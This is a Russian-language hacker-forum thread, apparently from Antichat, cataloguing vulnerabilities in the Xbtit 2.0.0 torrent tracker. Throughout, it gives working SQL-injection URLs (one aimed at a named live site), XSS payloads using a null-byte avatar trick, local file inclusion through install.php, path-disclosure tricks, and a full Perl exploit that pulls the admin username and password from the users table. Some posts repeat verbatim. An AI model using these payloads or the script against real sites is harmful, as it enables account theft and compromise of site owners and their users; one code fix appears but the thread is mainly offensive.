Сёдня начал рыться в исходниках. И так. Было иследованно на: Xbtit 2.0.0 Раскрытие путей. Уязвим GET параметр returnto. PHPSESSIONID раскрытие путей. В куках XSS - Пассивная Оло, через ошибку можно =\ PHP: ... if (isset($_GET["order"])) $order=htmlspecialchars($_GET["order"]); else $order="joined"; ... $query="select prefixcolor, suffixcolor, u.id, $udownloaded as downloaded, $uuploaded as uploaded, IF($udownloaded>0,$uuploaded/$udownloaded,0) as ratio, username, level, UNIX_TIMESTAMP(joined) AS joined,UNIX_TIMESTAMP(lastconnect) AS lastconnect, flag, flagpic, c.name as name, u.smf_fid FROM $utables INNER JOIN {$TABLE_PREFIX}users_level ul ON u.id_level=ul.id LEFT JOIN {$TABLE_PREFIX}countries c ON u.flag=c.id WHERE u.id>1 $where ORDER BY $order $by $limit"; Ещё нашёл Code: #!/usr/bin/perl use LWP::Simple; print "\n"; print "##############################################################\n"; print "# xbtit Torrent Tracker SQL INJECTION EXPLOIT #\n"; print "# Author: Ctacok (Russian) #\n"; print "# Blog : www.Ctacok.ru #\n"; print "# Special for Antichat (forum.antichat.ru) and xakep.ru #\n"; print "# Hello HAXTA4OK, mailbrush (Thanks) #\n"; print "##############################################################\n"; if (@ARGV < 2) { print "\n Usage: exploit.pl [host] [path] "; print "\n EX : exploit.pl www.localhost.com /path/ \n\n"; exit; } $host=$ARGV[0]; $path=$ARGV[1]; $vuln = "+or(1,1)=(select+count(0),concat((select+concat(0x3a3a3a,id,0x3a,username,0x3a,password,0x3a3a3a)+from+xbtit_users+limit+1,1),floor(rand(0)*2))from(information_schema.tables)group+by+2)"; $doc = get($host.$path."index.php?page=torrents&active=2&order=speed".$vuln."--+&by=ASC"); if ($doc =~ /:::(.+):(.+):(.+):::/){ print "\n[+] Admin id: : $1"; print "\n[+] Admin username: $2"; print "\n[+] Admin password: $3"; }else{ print "\n My name is Fail, Epic Fail... \n" } Активная XSS: index.php?page=usercp&do=user&action=change&uid=Ваш уид. (Кароче change profile в My panel). Меняем Avatar(Url) на: jav ascript:alert();%00.gif // Здесь этот пробел отфильтровал форум. Берём здесь http://ha.ckers.org/xss.html#XSS_Embedded_tab Как бы надо хоть как javascript заменять на что-то подобное Суть такова, что в конце обязательно нужен .gif,.jpg,.bmp или .png Но если делать в <IMG src='javascript:alert();.gif'> То код выполняться небудет, обычным нулл байтом прокатило Вообшем в модуле форум (не смф, а родной Xbtit'овский) при создании темы / сообщения, XSS срабатывает Надо что-бы торренты были открыты для публичного просмотра )
Требуются права админа SQL-inj index.php?page=admin&user=2&code=8355071'&do=pruneu SQL-inj Наврал , права пользователя нужны index.php?page=allshout&sid=1'&edit index.php?page=allshout&sid=1'&delete уязвимый код : Code: $sid = isset($_GET["sid"])?$_GET["sid"]:0; # get shout id (sid)and set it to zero for bool $sql = "SELECT * FROM {$TABLE_PREFIX}chat WHERE id > ".$lastID." AND id != ".$sid." ORDER BY id DESC"; пример : Code: http://lampmaster.dk/index.php?page=allshout&sid=1'&edit решение проблемы: Code: $sid = isset($_GET["sid"])?(int)$_GET["sid"]:0; # get shout id (sid)and set it to zero for bool $sql = "SELECT * FROM {$TABLE_PREFIX}chat WHERE id > ".$lastID." AND id != ".$sid." ORDER BY id DESC"; index.php?page=allshout&sid=1+and+substring(version(),1,1)=5/*&edit Раскрытие путей если создан хоть один топик в форуме index.php?page=forum&action=viewforum&forumid[]= index.php?page=forum&action=viewtopic&topicid[]=
Code: $sid = isset($_GET["sid"])?$_GET["sid"]:0; # get shout id (sid)and set it to zero for bool $sql = "SELECT * FROM {$TABLE_PREFIX}chat WHERE id > ".$lastID." AND id != ".$sid." ORDER BY id DESC"; $conn = his_getDBConnection(); # establishes the connection to the database $results = mysql_query($sql, $conn); что посмотрев его я задумался если тут уязвимость?хотя order by проходит , и в итоге дает мне 5 столбцов
про sid if (isset($_GET["sid"])) { $sid = intval($_GET["sid"]); # getting shout id (sid) но там $sid = intval($_GET["sid"]); a He $_GET['sid'] = intval($_GET["sid"]); нету не фильтрует 3anpoc index.php?page=allshout&sid=1+order+by+6/*&delete => index.php?page=allshout&sid=1+order+by+5/*&delete => index.php?page=allshout&sid=1+union+select+1,2,3,4,5/*&delete мне тут уже он выдает ( у меня ошибку)а на одном сайте просто кидает на индекс.пхп
intval()- Убирает все слова и т.п. из GET sid. т.е. только цифры. PS. В асю напиши, у меня там кое где есть исчо одна бага.
по сути инклуд))) при register_glodals = on index.php?page=recover&THIS_BASEPATH=' PHP: include("$THIS_BASEPATH/include/security_code.php"); Qwazar глянь плиз и можно ли его реализвоать? index.php?page=admin&user=2&code=835507&do=logview&THIS_BASEPATH=1' PHP: include("$THIS_BASEPATH/include/offset.php"); index.php?page=viewnews&THIS_BASEPATH='
Расскрытие путей: /ajaxchat/sendChatData.php Уязвимый кусок кода: PHP: if (!ini_get('register_globals')) { extract($_POST, EXTR_SKIP); } $name = $n; # name from the form $text = $c; # comment from the form $uid = $u; # userid from the form Если не найден $_GET $_POST $_COOKIE n или c или u, выскакивает Notice, мол, переменная не найдена. Code: Notice: Undefined variable: X in [PATH] SQL-инъекция, причем очень хитромудрая После выполнения запроса смотрим в чат и видим юзера, бд, версию. Code: /ajaxchat/sendChatData.php?n=123\&c=,concat_ws(0x3a,user(),database(),version()),7)/*&u=2 Если не работает GET'ом, попробуйте POST'ом. Почему? Смотрите ниже, там где постинг от другого юзера. Уязвимый кусок кода: PHP: //смотрим предыдущий код, откуда берутся переменные //бажный мегафильтр $name = str_replace("\'","'",$name); $name = str_replace("'","\'",$name); $text = str_replace("\'","'",$text); $text = str_replace("'","\'",$text); $text = str_replace("---"," - - ",$text); $name = str_replace("---"," - - ",$name); //сама ф-ция записи в БД function addData($name,$text,$uid) { include("../include/settings.php"); # getting table prefix $now = time(); $sql = "INSERT INTO {$TABLE_PREFIX}chat (time,name,text,uid) VALUES ('".$now."','".$name."','".$text."','".$uid."')"; $conn = getDBConnection(); $results = mysql_query($sql, $conn); if (!$results || empty($results)) { # echo 'There was an error creating the entry'; end; } } Т.е. получается, что бажный фильтр экранирует кавычки в переменных $name, $text. Но это не проблема, т.к. слеш не экранируется. При запросе на сайт Code: /ajaxchat/sendChatData.php?n=NAME\&c=,concat_ws(0x3a,user(),database(),version()),2)/*&u=2 запрос в базу выглядит таким образом: Code: [B][color="Green"]INSERT INTO {$TABLE_PREFIX}chat (time,name,text,uid) VALUES ('1234567890','[color="Red"]NAME\',[/color]',[color="Red"]concat_ws(0x3a,user(),database(),version())[/color],[color="Red"]2[/color])[color="White"]/*','2')[/color][/color][/B] Вроде, разукрасил, как мог... Но если еще непонятно, объясню - фильтр НЕ фильтрует бекслеш, т.е. \. Если в конец поля NAME, т.е. в GET/POST - "n"" вставить бекслеш, получится, что он экранирует кавычку и текст mysql-поля NAME будет считаться до тех пор, пока не будет найдена кавычка. Она найдена - открывающая кавычка поля TEXT. Другое поле должно быть отделено запятой от предыдущего, поэтому и запятая в GET/POST поле "c". После запятой идет содержимое поля text, мы подставляем то, что нам нужно, в конкретном случае concat_ws(0x3a,user(),database(),version()). Отделяем запятой следующее поле - uid - пишем любое число, в моем случае - 2. Ну и "/*", чтобы отсечь все лишнее. PS: Поле uid не фильруется, но т.к. оно типа mediumint(9), ничего полезного из него мы не достанем. Blind SQL-инъекция. Необходимы права админа. Code: /index.php?page=admin&user=2&code=134469&do=category&action=edit&id=5 and substring(version(),1)=5 Уязвимый код: PHP: case 'edit': if (isset($_GET["id"])) { // we should get only 1 style, selected with radio ... $id=max(0,$_GET["id"]); ... Blind SQL-инъекция. Необходимы права админа. Code: /index.php?page=admin&user=2&code=134469&do=style&action=edit&id=1+and+substring(version(),1)=5 Уязвимый код: PHP: case 'edit': if (isset($_GET["id"])) { // we should get only 1 style, selected with radio ... $id=max(0,$_GET["id"]); $sres=get_result("SELECT style,style_url FROM {$TABLE_PREFIX}style WHERE id=$id",true); ... Пассивная XSS: Code: /index.php?page=edit&info_hash=HASHID&returnto=index.php";alert(/hello+world/);<!-- Уязвимый код: Code: /include/functions.php PHP: function redirect($redirecturl) { // using javascript for redirecting // some hosting has warning enabled and this is causing // problem withs header() redirecting... print("If your browser doesn't have javascript enabled, click <a href=\"$redirecturl\"> here </a>"); print("<script LANGUAGE=\"javascript\">window.location.href=\"$redirecturl\"</script>"); } Code: /edit.php PHP: $link = urldecode($_GET["returnto"]); ... redirect($link); Постинг в чат от другого юзера: Code: http://127.0.0.1/dev/ajaxchat/sendChatData.php?n=NAME&c=TEXT&u=UID Уязвимый код: PHP: function addData($name,$text,$uid) { include("../include/settings.php"); # getting table prefix $now = time(); $sql = "INSERT INTO {$TABLE_PREFIX}chat (time,name,text,uid) VALUES ('".$now."','".$name."','".$text."','".$uid."')"; $conn = getDBConnection(); $results = mysql_query($sql, $conn); if (!$results || empty($results)) { # echo 'There was an error creating the entry'; end; } Если register_globals = On - GET'ом открывать, в противном случае - POST'ом. ЗЫ: Сам не ожидал, что столько найду, напишу, о_О.
PHP Include. Внимание, уязвимость находиться в файл установки скрипта D). install.php?lang_file=[LFI]&action=save_mysql
Автоматически он не удаляется, просто там после установки красная надпись посредине трекер Раскрытие путей. /index.php?page=allshout&sid[]=1 Как бэ HAXTA4OK уже постил в данном месте уязвимость. Но там скуля, и раскрытие путей.
Раскрытие путей: index.php?page=users&searchtext[]= PHP: $search=htmlspecialchars($_GET["searchtext"]); index.php?page=edit&info_hash=929f507f7091ecc71a0e1d47fa1805cfb4339db7'&returnto=index.php%3Fpage%3Dtorrents Ппц..
Оло, через ошибку можно =\ Права админа нужны, ща ещё пойду смотреть ... //2 RulleR, ищу Она там есть вообще по идеи, но блинд. НАшоооол!111 PHP: ... if (isset($_GET["order"])) $order=htmlspecialchars($_GET["order"]); else $order="joined"; ... $query="select prefixcolor, suffixcolor, u.id, $udownloaded as downloaded, $uuploaded as uploaded, IF($udownloaded>0,$uuploaded/$udownloaded,0) as ratio, username, level, UNIX_TIMESTAMP(joined) AS joined,UNIX_TIMESTAMP(lastconnect) AS lastconnect, flag, flagpic, c.name as name, u.smf_fid FROM $utables INNER JOIN {$TABLE_PREFIX}users_level ul ON u.id_level=ul.id LEFT JOIN {$TABLE_PREFIX}countries c ON u.flag=c.id WHERE u.id>1 $where ORDER BY $order $by $limit";
Up. Ещё нашёл Code: #!/usr/bin/perl use LWP::Simple; print "\n"; print "##############################################################\n"; print "# xbtit Torrent Tracker SQL INJECTION EXPLOIT #\n"; print "# Author: Ctacok (Russian) #\n"; print "# Blog : www.Ctacok.ru #\n"; print "# Special for Antichat (forum.antichat.ru) and xakep.ru #\n"; print "# Hello HAXTA4OK, mailbrush (Thanks) #\n"; print "##############################################################\n"; if (@ARGV < 2) { print "\n Usage: exploit.pl [host] [path] "; print "\n EX : exploit.pl www.localhost.com /path/ \n\n"; exit; } $host=$ARGV[0]; $path=$ARGV[1]; $vuln = "+or(1,1)=(select+count(0),concat((select+concat(0x3a3a3a,id,0x3a,username,0x3a,password,0x3a3a3a)+from+xbtit_users+limit+1,1),floor(rand(0)*2))from(information_schema.tables)group+by+2)"; $doc = get($host.$path."index.php?page=torrents&active=2&order=speed".$vuln."--+&by=ASC"); if ($doc =~ /:::(.+):(.+):(.+):::/){ print "\n[+] Admin id: : $1"; print "\n[+] Admin username: $2"; print "\n[+] Admin password: $3"; }else{ print "\n My name is Fail, Epic Fail... \n" } Надо что-бы торренты были открыты для публичного просмотра )
Активная XSS: index.php?page=usercp&do=user&action=change&uid=Ваш уид. (Кароче change profile в My panel). Меняем Avatar(Url) на: jav ascript:alert();%00.gif // Здесь этот пробел отфильтровал форум. Берём здесь http://ha.ckers.org/xss.html#XSS_Embedded_tab Как бы надо хоть как javascript заменять на что-то подобное Суть такова, что в конце обязательно нужен .gif,.jpg,.bmp или .png Но если делать в <IMG src='javascript:alert();.gif'> То код выполняться небудет, обычным нулл байтом прокатило Вообшем в модуле форум (не смф, а родной Xbtit'овский) при создании темы / сообщения, XSS срабатывает // Ulalala